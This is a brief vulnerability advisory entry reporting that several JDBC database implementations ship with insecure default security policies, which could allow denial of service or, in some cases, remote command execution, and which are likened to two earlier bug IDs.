Discussion

Multiple JDBC Database Insecure Default Policy Vulnerabilities

It has been reported that multiple JDBC database implementations include insecure default security policies. This could expose vulnerable databases to denial of service attacks. This could also permit remote attackers to execute arbitrary commands on systems hosting vulnerable implementations in some circumstances.

These issues are reportedly similar in nature to BIDs 9230 and 8773.
